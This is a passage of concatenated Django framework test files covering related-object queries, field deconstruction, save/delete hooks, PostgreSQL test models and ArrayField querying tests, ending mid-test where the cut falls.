class RelatedObjectTests(TestCase):

    def test_related_objects_have_name_attribute(self):
        for field_name in ('test_issue_client', 'test_issue_cc'):
            obj = User._meta.get_field(field_name)
            self.assertEqual(field_name, obj.field.related_query_name())

    def test_m2m_and_m2o(self):
        r = User.objects.create(username="russell")
        g = User.objects.create(username="gustav")

        i1 = Issue(num=1)
        i1.client = r
        i1.save()

        i2 = Issue(num=2)
        i2.client = r
        i2.save()
        i2.cc.add(r)

        i3 = Issue(num=3)
        i3.client = g
        i3.save()
        i3.cc.add(r)

        self.assertQuerysetEqual(
            Issue.objects.filter(client=r.id), [
                1,
                2,
            ],
            lambda i: i.num
        )
        self.assertQuerysetEqual(
            Issue.objects.filter(client=g.id), [
                3,
            ],
            lambda i: i.num
        )
        self.assertQuerysetEqual(
            Issue.objects.filter(cc__id__exact=g.id), []
        )
        self.assertQuerysetEqual(
            Issue.objects.filter(cc__id__exact=r.id), [
                2,
                3,
            ],
            lambda i: i.num
        )

        # These queries combine results from the m2m and the m2o relationships.
        # They're three ways of saying the same thing.
        self.assertQuerysetEqual(
            Issue.objects.filter(Q(cc__id__exact=r.id) | Q(client=r.id)), [
                1,
                2,
                3,
            ],
            lambda i: i.num
        )
        self.assertQuerysetEqual(
            Issue.objects.filter(cc__id__exact=r.id) | Issue.objects.filter(client=r.id), [
                1,
                2,
                3,
            ],
            lambda i: i.num
        )
        self.assertQuerysetEqual(
            Issue.objects.filter(Q(client=r.id) | Q(cc__id__exact=r.id)), [
                1,
                2,
                3,
            ],
            lambda i: i.num
        )


class RelatedObjectUnicodeTests(TestCase):
    def test_m2m_with_unicode_reference(self):
        """
        Regression test for #6045: references to other models can be unicode
        strings, providing they are directly convertible to ASCII.
        """
        m1 = UnicodeReferenceModel.objects.create()
        m2 = UnicodeReferenceModel.objects.create()
        m2.others.add(m1)  # used to cause an error (see ticket #6045)
        m2.save()
        list(m2.others.all())  # Force retrieval.












from __future__ import unicode_literals

from django.apps import apps
from django.db import models
from django.test import SimpleTestCase, override_settings
from django.test.utils import isolate_lru_cache
from django.utils import six


class FieldDeconstructionTests(SimpleTestCase):
    """
    Tests the deconstruct() method on all core fields.
    """

    def test_name(self):
        """
        Tests the outputting of the correct name if assigned one.
        """
        # First try using a "normal" field
        field = models.CharField(max_length=65)
        name, path, args, kwargs = field.deconstruct()
        self.assertIsNone(name)
        field.set_attributes_from_name("is_awesome_test")
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(name, "is_awesome_test")
        self.assertIsInstance(name, six.text_type)
        # Now try with a ForeignKey
        field = models.ForeignKey("some_fake.ModelName", models.CASCADE)
        name, path, args, kwargs = field.deconstruct()
        self.assertIsNone(name)
        field.set_attributes_from_name("author")
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(name, "author")

    def test_auto_field(self):
        field = models.AutoField(primary_key=True)
        field.set_attributes_from_name("id")
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.AutoField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"primary_key": True})

    def test_big_integer_field(self):
        field = models.BigIntegerField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.BigIntegerField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})

    def test_boolean_field(self):
        field = models.BooleanField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.BooleanField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})
        field = models.BooleanField(default=True)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.BooleanField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"default": True})

    def test_char_field(self):
        field = models.CharField(max_length=65)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.CharField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"max_length": 65})
        field = models.CharField(max_length=65, null=True, blank=True)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.CharField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"max_length": 65, "null": True, "blank": True})

    def test_char_field_choices(self):
        field = models.CharField(max_length=1, choices=(("A", "One"), ("B", "Two")))
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.CharField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"choices": [("A", "One"), ("B", "Two")], "max_length": 1})

    def test_csi_field(self):
        field = models.CommaSeparatedIntegerField(max_length=100)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.CommaSeparatedIntegerField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"max_length": 100})

    def test_date_field(self):
        field = models.DateField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.DateField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})
        field = models.DateField(auto_now=True)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.DateField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"auto_now": True})

    def test_datetime_field(self):
        field = models.DateTimeField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.DateTimeField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})
        field = models.DateTimeField(auto_now_add=True)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.DateTimeField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"auto_now_add": True})
        # Bug #21785
        field = models.DateTimeField(auto_now=True, auto_now_add=True)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.DateTimeField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"auto_now_add": True, "auto_now": True})

    def test_decimal_field(self):
        field = models.DecimalField(max_digits=5, decimal_places=2)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.DecimalField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"max_digits": 5, "decimal_places": 2})

    def test_decimal_field_0_decimal_places(self):
        """
        A DecimalField with decimal_places=0 should work (#22272).
        """
        field = models.DecimalField(max_digits=5, decimal_places=0)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.DecimalField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"max_digits": 5, "decimal_places": 0})

    def test_email_field(self):
        field = models.EmailField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.EmailField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"max_length": 254})
        field = models.EmailField(max_length=255)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.EmailField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"max_length": 255})

    def test_file_field(self):
        field = models.FileField(upload_to="foo/bar")
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.FileField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"upload_to": "foo/bar"})
        # Test max_length
        field = models.FileField(upload_to="foo/bar", max_length=200)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.FileField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"upload_to": "foo/bar", "max_length": 200})

    def test_file_path_field(self):
        field = models.FilePathField(match=".*\.txt$")
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.FilePathField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"match": ".*\.txt$"})
        field = models.FilePathField(recursive=True, allow_folders=True, max_length=123)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.FilePathField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"recursive": True, "allow_folders": True, "max_length": 123})

    def test_float_field(self):
        field = models.FloatField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.FloatField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})

    def test_foreign_key(self):
        # Test basic pointing
        from django.contrib.auth.models import Permission
        field = models.ForeignKey("auth.Permission", models.CASCADE)
        field.remote_field.model = Permission
        field.remote_field.field_name = "id"
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.ForeignKey")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"to": "auth.Permission", "on_delete": models.CASCADE})
        self.assertFalse(hasattr(kwargs['to'], "setting_name"))
        # Test swap detection for swappable model
        field = models.ForeignKey("auth.User", models.CASCADE)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.ForeignKey")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"to": "auth.User", "on_delete": models.CASCADE})
        self.assertEqual(kwargs['to'].setting_name, "AUTH_USER_MODEL")
        # Test nonexistent (for now) model
        field = models.ForeignKey("something.Else", models.CASCADE)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.ForeignKey")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"to": "something.Else", "on_delete": models.CASCADE})
        # Test on_delete
        field = models.ForeignKey("auth.User", models.SET_NULL)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.ForeignKey")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"to": "auth.User", "on_delete": models.SET_NULL})
        # Test to_field preservation
        field = models.ForeignKey("auth.Permission", models.CASCADE, to_field="foobar")
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.ForeignKey")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"to": "auth.Permission", "to_field": "foobar", "on_delete": models.CASCADE})
        # Test related_name preservation
        field = models.ForeignKey("auth.Permission", models.CASCADE, related_name="foobar")
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.ForeignKey")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"to": "auth.Permission", "related_name": "foobar", "on_delete": models.CASCADE})

    @override_settings(AUTH_USER_MODEL="auth.Permission")
    def test_foreign_key_swapped(self):
        with isolate_lru_cache(apps.get_swappable_settings_name):
            # It doesn't matter that we swapped out user for permission;
            # there's no validation. We just want to check the setting stuff works.
            field = models.ForeignKey("auth.Permission", models.CASCADE)
            name, path, args, kwargs = field.deconstruct()

        self.assertEqual(path, "django.db.models.ForeignKey")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"to": "auth.Permission", "on_delete": models.CASCADE})
        self.assertEqual(kwargs['to'].setting_name, "AUTH_USER_MODEL")

    def test_image_field(self):
        field = models.ImageField(upload_to="foo/barness", width_field="width", height_field="height")
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.ImageField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"upload_to": "foo/barness", "width_field": "width", "height_field": "height"})

    def test_integer_field(self):
        field = models.IntegerField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.IntegerField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})

    def test_ip_address_field(self):
        field = models.IPAddressField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.IPAddressField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})

    def test_generic_ip_address_field(self):
        field = models.GenericIPAddressField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.GenericIPAddressField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})
        field = models.GenericIPAddressField(protocol="IPv6")
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.GenericIPAddressField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"protocol": "IPv6"})

    def test_many_to_many_field(self):
        # Test normal
        field = models.ManyToManyField("auth.Permission")
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.ManyToManyField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"to": "auth.Permission"})
        self.assertFalse(hasattr(kwargs['to'], "setting_name"))
        # Test swappable
        field = models.ManyToManyField("auth.User")
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.ManyToManyField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"to": "auth.User"})
        self.assertEqual(kwargs['to'].setting_name, "AUTH_USER_MODEL")
        # Test through
        field = models.ManyToManyField("auth.Permission", through="auth.Group")
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.ManyToManyField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"to": "auth.Permission", "through": "auth.Group"})
        # Test custom db_table
        field = models.ManyToManyField("auth.Permission", db_table="custom_table")
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.ManyToManyField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"to": "auth.Permission", "db_table": "custom_table"})
        # Test related_name
        field = models.ManyToManyField("auth.Permission", related_name="custom_table")
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.ManyToManyField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"to": "auth.Permission", "related_name": "custom_table"})

    @override_settings(AUTH_USER_MODEL="auth.Permission")
    def test_many_to_many_field_swapped(self):
        with isolate_lru_cache(apps.get_swappable_settings_name):
            # It doesn't matter that we swapped out user for permission;
            # there's no validation. We just want to check the setting stuff works.
            field = models.ManyToManyField("auth.Permission")
            name, path, args, kwargs = field.deconstruct()

        self.assertEqual(path, "django.db.models.ManyToManyField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"to": "auth.Permission"})
        self.assertEqual(kwargs['to'].setting_name, "AUTH_USER_MODEL")

    def test_null_boolean_field(self):
        field = models.NullBooleanField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.NullBooleanField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})

    def test_positive_integer_field(self):
        field = models.PositiveIntegerField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.PositiveIntegerField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})

    def test_positive_small_integer_field(self):
        field = models.PositiveSmallIntegerField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.PositiveSmallIntegerField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})

    def test_slug_field(self):
        field = models.SlugField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.SlugField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})
        field = models.SlugField(db_index=False, max_length=231)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.SlugField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"db_index": False, "max_length": 231})

    def test_small_integer_field(self):
        field = models.SmallIntegerField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.SmallIntegerField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})

    def test_text_field(self):
        field = models.TextField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.TextField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})

    def test_time_field(self):
        field = models.TimeField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.TimeField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})

        field = models.TimeField(auto_now=True)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {'auto_now': True})

        field = models.TimeField(auto_now_add=True)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {'auto_now_add': True})

    def test_url_field(self):
        field = models.URLField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.URLField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})
        field = models.URLField(max_length=231)
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.URLField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {"max_length": 231})

    def test_binary_field(self):
        field = models.BinaryField()
        name, path, args, kwargs = field.deconstruct()
        self.assertEqual(path, "django.db.models.BinaryField")
        self.assertEqual(args, [])
        self.assertEqual(kwargs, {})






"""
Adding hooks before/after saving and deleting

To execute arbitrary code around ``save()`` and ``delete()``, just subclass
the methods.
"""
from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Person(models.Model):
    first_name = models.CharField(max_length=20)
    last_name = models.CharField(max_length=20)

    def __init__(self, *args, **kwargs):
        super(Person, self).__init__(*args, **kwargs)
        self.data = []

    def __str__(self):
        return "%s %s" % (self.first_name, self.last_name)

    def save(self, *args, **kwargs):
        self.data.append("Before save")
        # Call the "real" save() method
        super(Person, self).save(*args, **kwargs)
        self.data.append("After save")

    def delete(self):
        self.data.append("Before deletion")
        # Call the "real" delete() method
        super(Person, self).delete()
        self.data.append("After deletion")












from __future__ import unicode_literals

from django.test import TestCase
from django.utils import six

from .models import Person


class SaveDeleteHookTests(TestCase):
    def test_basic(self):
        p = Person(first_name="John", last_name="Smith")
        self.assertEqual(p.data, [])
        p.save()
        self.assertEqual(p.data, [
            "Before save",
            "After save",
        ])

        self.assertQuerysetEqual(
            Person.objects.all(), [
                "John Smith",
            ],
            six.text_type
        )

        p.delete()
        self.assertEqual(p.data, [
            "Before save",
            "After save",
            "Before deletion",
            "After deletion",
        ])
        self.assertQuerysetEqual(Person.objects.all(), [])






from django.db import connection, models

from .fields import (
    ArrayField, BigIntegerRangeField, DateRangeField, DateTimeRangeField,
    FloatRangeField, HStoreField, IntegerRangeField, JSONField,
    SearchVectorField,
)


class Tag(object):
    def __init__(self, tag_id):
        self.tag_id = tag_id

    def __eq__(self, other):
        return isinstance(other, Tag) and self.tag_id == other.tag_id


class TagField(models.SmallIntegerField):

    def from_db_value(self, value, expression, connection, context):
        if value is None:
            return value
        return Tag(int(value))

    def to_python(self, value):
        if isinstance(value, Tag):
            return value
        if value is None:
            return value
        return Tag(int(value))

    def get_prep_value(self, value):
        return value.tag_id


class PostgreSQLModel(models.Model):
    class Meta:
        abstract = True
        required_db_vendor = 'postgresql'


class IntegerArrayModel(PostgreSQLModel):
    field = ArrayField(models.IntegerField())


class NullableIntegerArrayModel(PostgreSQLModel):
    field = ArrayField(models.IntegerField(), blank=True, null=True)


class CharArrayModel(PostgreSQLModel):
    field = ArrayField(models.CharField(max_length=10))


class DateTimeArrayModel(PostgreSQLModel):
    datetimes = ArrayField(models.DateTimeField())
    dates = ArrayField(models.DateField())
    times = ArrayField(models.TimeField())


class NestedIntegerArrayModel(PostgreSQLModel):
    field = ArrayField(ArrayField(models.IntegerField()))


class OtherTypesArrayModel(PostgreSQLModel):
    ips = ArrayField(models.GenericIPAddressField())
    uuids = ArrayField(models.UUIDField())
    decimals = ArrayField(models.DecimalField(max_digits=5, decimal_places=2))
    tags = ArrayField(TagField(), blank=True, null=True)


class HStoreModel(PostgreSQLModel):
    field = HStoreField(blank=True, null=True)


class CharFieldModel(models.Model):
    field = models.CharField(max_length=16)


class TextFieldModel(models.Model):
    field = models.TextField()

    def __str__(self):
        return self.field


# Scene/Character/Line models are used to test full text search. They're
# populated with content from Monty Python and the Holy Grail.
class Scene(models.Model):
    scene = models.CharField(max_length=255)
    setting = models.CharField(max_length=255)

    def __str__(self):
        return self.scene


class Character(models.Model):
    name = models.CharField(max_length=255)

    def __str__(self):
        return self.name


class Line(PostgreSQLModel):
    scene = models.ForeignKey('Scene', models.CASCADE)
    character = models.ForeignKey('Character', models.CASCADE)
    dialogue = models.TextField(blank=True, null=True)
    dialogue_search_vector = SearchVectorField(blank=True, null=True)
    dialogue_config = models.CharField(max_length=100, blank=True, null=True)

    def __str__(self):
        return self.dialogue or ''


class RangesModel(PostgreSQLModel):
    ints = IntegerRangeField(blank=True, null=True)
    bigints = BigIntegerRangeField(blank=True, null=True)
    floats = FloatRangeField(blank=True, null=True)
    timestamps = DateTimeRangeField(blank=True, null=True)
    dates = DateRangeField(blank=True, null=True)


class RangeLookupsModel(PostgreSQLModel):
    parent = models.ForeignKey(RangesModel, models.SET_NULL, blank=True, null=True)
    integer = models.IntegerField(blank=True, null=True)
    big_integer = models.BigIntegerField(blank=True, null=True)
    float = models.FloatField(blank=True, null=True)
    timestamp = models.DateTimeField(blank=True, null=True)
    date = models.DateField(blank=True, null=True)


# Only create this model for postgres >= 9.4
if connection.vendor == 'postgresql' and connection.pg_version >= 90400:
    class JSONModel(models.Model):
        field = JSONField(blank=True, null=True)
else:
    # create an object with this name so we don't have failing imports
    class JSONModel(object):
        pass


class ArrayFieldSubclass(ArrayField):
    def __init__(self, *args, **kwargs):
        super(ArrayFieldSubclass, self).__init__(models.IntegerField())


class AggregateTestModel(models.Model):
    """
    To test postgres-specific general aggregation functions
    """
    char_field = models.CharField(max_length=30, blank=True)
    integer_field = models.IntegerField(null=True)
    boolean_field = models.NullBooleanField()


class StatTestModel(models.Model):
    """
    To test postgres-specific aggregation functions for statistics
    """
    int1 = models.IntegerField()
    int2 = models.IntegerField()
    related_field = models.ForeignKey(AggregateTestModel, models.SET_NULL, null=True)


class NowTestModel(models.Model):
    when = models.DateTimeField(null=True, default=None)






import decimal
import json
import unittest
import uuid

from django import forms
from django.core import exceptions, serializers, validators
from django.core.management import call_command
from django.db import IntegrityError, connection, models
from django.test import TransactionTestCase, override_settings
from django.test.utils import isolate_apps
from django.utils import timezone

from . import PostgreSQLTestCase
from .models import (
    ArrayFieldSubclass, CharArrayModel, DateTimeArrayModel, IntegerArrayModel,
    NestedIntegerArrayModel, NullableIntegerArrayModel, OtherTypesArrayModel,
    PostgreSQLModel, Tag,
)

try:
    from django.contrib.postgres.fields import ArrayField
    from django.contrib.postgres.forms import SimpleArrayField, SplitArrayField
except ImportError:
    pass


class TestSaveLoad(PostgreSQLTestCase):

    def test_integer(self):
        instance = IntegerArrayModel(field=[1, 2, 3])
        instance.save()
        loaded = IntegerArrayModel.objects.get()
        self.assertEqual(instance.field, loaded.field)

    def test_char(self):
        instance = CharArrayModel(field=['hello', 'goodbye'])
        instance.save()
        loaded = CharArrayModel.objects.get()
        self.assertEqual(instance.field, loaded.field)

    def test_dates(self):
        instance = DateTimeArrayModel(
            datetimes=[timezone.now()],
            dates=[timezone.now().date()],
            times=[timezone.now().time()],
        )
        instance.save()
        loaded = DateTimeArrayModel.objects.get()
        self.assertEqual(instance.datetimes, loaded.datetimes)
        self.assertEqual(instance.dates, loaded.dates)
        self.assertEqual(instance.times, loaded.times)

    def test_tuples(self):
        instance = IntegerArrayModel(field=(1,))
        instance.save()
        loaded = IntegerArrayModel.objects.get()
        self.assertSequenceEqual(instance.field, loaded.field)

    def test_integers_passed_as_strings(self):
        # This checks that get_prep_value is deferred properly
        instance = IntegerArrayModel(field=['1'])
        instance.save()
        loaded = IntegerArrayModel.objects.get()
        self.assertEqual(loaded.field, [1])

    def test_default_null(self):
        instance = NullableIntegerArrayModel()
        instance.save()
        loaded = NullableIntegerArrayModel.objects.get(pk=instance.pk)
        self.assertIsNone(loaded.field)
        self.assertEqual(instance.field, loaded.field)

    def test_null_handling(self):
        instance = NullableIntegerArrayModel(field=None)
        instance.save()
        loaded = NullableIntegerArrayModel.objects.get()
        self.assertEqual(instance.field, loaded.field)

        instance = IntegerArrayModel(field=None)
        with self.assertRaises(IntegrityError):
            instance.save()

    def test_nested(self):
        instance = NestedIntegerArrayModel(field=[[1, 2], [3, 4]])
        instance.save()
        loaded = NestedIntegerArrayModel.objects.get()
        self.assertEqual(instance.field, loaded.field)

    def test_other_array_types(self):
        instance = OtherTypesArrayModel(
            ips=['192.168.0.1', '::1'],
            uuids=[uuid.uuid4()],
            decimals=[decimal.Decimal(1.25), 1.75],
            tags=[Tag(1), Tag(2), Tag(3)],
        )
        instance.save()
        loaded = OtherTypesArrayModel.objects.get()
        self.assertEqual(instance.ips, loaded.ips)
        self.assertEqual(instance.uuids, loaded.uuids)
        self.assertEqual(instance.decimals, loaded.decimals)
        self.assertEqual(instance.tags, loaded.tags)

    def test_null_from_db_value_handling(self):
        instance = OtherTypesArrayModel.objects.create(
            ips=['192.168.0.1', '::1'],
            uuids=[uuid.uuid4()],
            decimals=[decimal.Decimal(1.25), 1.75],
            tags=None,
        )
        instance.refresh_from_db()
        self.assertIsNone(instance.tags)

    def test_model_set_on_base_field(self):
        instance = IntegerArrayModel()
        field = instance._meta.get_field('field')
        self.assertEqual(field.model, IntegerArrayModel)
        self.assertEqual(field.base_field.model, IntegerArrayModel)


class TestQuerying(PostgreSQLTestCase):

    def setUp(self):
        self.objs = [
            NullableIntegerArrayModel.objects.create(field=[1]),
            NullableIntegerArrayModel.objects.create(field=[2]),
            NullableIntegerArrayModel.objects.create(field=[2, 3]),
            NullableIntegerArrayModel.objects.create(field=[20, 30, 40]),
            NullableIntegerArrayModel.objects.create(field=None),
        ]

    def test_exact(self):
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__exact=[1]),
            self.objs[:1]
        )

    def test_exact_charfield(self):
        instance = CharArrayModel.objects.create(field=['text'])
        self.assertSequenceEqual(
            CharArrayModel.objects.filter(field=['text']),
            [instance]
        )

    def test_exact_nested(self):
        instance = NestedIntegerArrayModel.objects.create(field=[[1, 2], [3, 4]])
        self.assertSequenceEqual(
            NestedIntegerArrayModel.objects.filter(field=[[1, 2], [3, 4]]),
            [instance]
        )

    def test_isnull(self):
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__isnull=True),
            self.objs[-1:]
        )

    def test_gt(self):
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__gt=[0]),
            self.objs[:4]
        )

    def test_lt(self):
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__lt=[2]),
            self.objs[:1]
        )

    def test_in(self):
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__in=[[1], [2]]),
            self.objs[:2]
        )

    @unittest.expectedFailure
    def test_in_including_F_object(self):
        # This test asserts that Array objects passed to filters can be
        # constructed to contain F objects. This currently doesn't work as the
        # psycopg2 mogrify method that generates the ARRAY() syntax is
        # expecting literals, not column references (#27095).
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__in=[[models.F('id')]]),
            self.objs[:2]
        )

    def test_in_as_F_object(self):
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__in=[models.F('field')]),
            self.objs[:4]
        )

    def test_contained_by(self):
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__contained_by=[1, 2]),
            self.objs[:2]
        )

    @unittest.expectedFailure
    def test_contained_by_including_F_object(self):
        # This test asserts that Array objects passed to filters can be
        # constructed to contain F objects. This currently doesn't work as the
        # psycopg2 mogrify method that generates the ARRAY() syntax is
        # expecting literals, not column references (#27095).
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__contained_by=[models.F('id'), 2]),
            self.objs[:2]
        )

    def test_contains(self):
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__contains=[2]),
            self.objs[1:3]
        )

    def test_contains_charfield(self):
        # Regression for #22907
        self.assertSequenceEqual(
            CharArrayModel.objects.filter(field__contains=['text']),
            []
        )

    def test_contained_by_charfield(self):
        self.assertSequenceEqual(
            CharArrayModel.objects.filter(field__contained_by=['text']),
            []
        )

    def test_overlap_charfield(self):
        self.assertSequenceEqual(
            CharArrayModel.objects.filter(field__overlap=['text']),
            []
        )

    def test_index(self):
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__0=2),
            self.objs[1:3]
        )

    def test_index_chained(self):
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__0__lt=3),
            self.objs[0:3]
        )

    def test_index_nested(self):
        instance = NestedIntegerArrayModel.objects.create(field=[[1, 2], [3, 4]])
        self.assertSequenceEqual(
            NestedIntegerArrayModel.objects.filter(field__0__0=1),
            [instance]
        )

    @unittest.expectedFailure
    def test_index_used_on_nested_data(self):
        instance = NestedIntegerArrayModel.objects.create(field=[[1, 2], [3, 4]])
        self.assertSequenceEqual(
            NestedIntegerArrayModel.objects.filter(field__0=[1, 2]),
            [instance]
        )

    def test_overlap(self):
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__overlap=[1, 2]),
            self.objs[0:3]
        )

    def test_len(self):
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__len__lte=2),
            self.objs[0:3]
        )

    def test_len_empty_array(self):
        obj = NullableIntegerArrayModel.objects.create(field=[])
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__len=0),
            [obj]
        )

    def test_slice(self):
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__0_1=[2]),
            self.objs[1:3]
        )

        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(field__0_2=[2, 3]),
            self.objs[2:3]
        )

    @unittest.expectedFailure
    def test_slice_nested(self):
        instance = NestedIntegerArrayModel.objects.create(field=[[1, 2], [3, 4]])
        self.assertSequenceEqual(
            NestedIntegerArrayModel.objects.filter(field__0__0_1=[1]),
            [instance]
        )

    def test_usage_in_subquery(self):
        self.assertSequenceEqual(
            NullableIntegerArrayModel.objects.filter(
                id__in=NullableIntegerArrayModel.objects.filter(field__len=3)
            ),
            [self.objs[3]]
        )


class TestDateTimeExactQuerying(PostgreSQLTestCase):

    def setUp(self):
        now = timezone.now()
        self.datetimes = [now]
        self.dates = [now.date()]
        self.times = [now.time()]
        self.objs = [
            DateTimeArrayModel.objects.create(
                datetimes=self.datetimes,
                dates=self.dates,
                times=self.times,
            )
        ]

    def test_exact_datetimes(self):
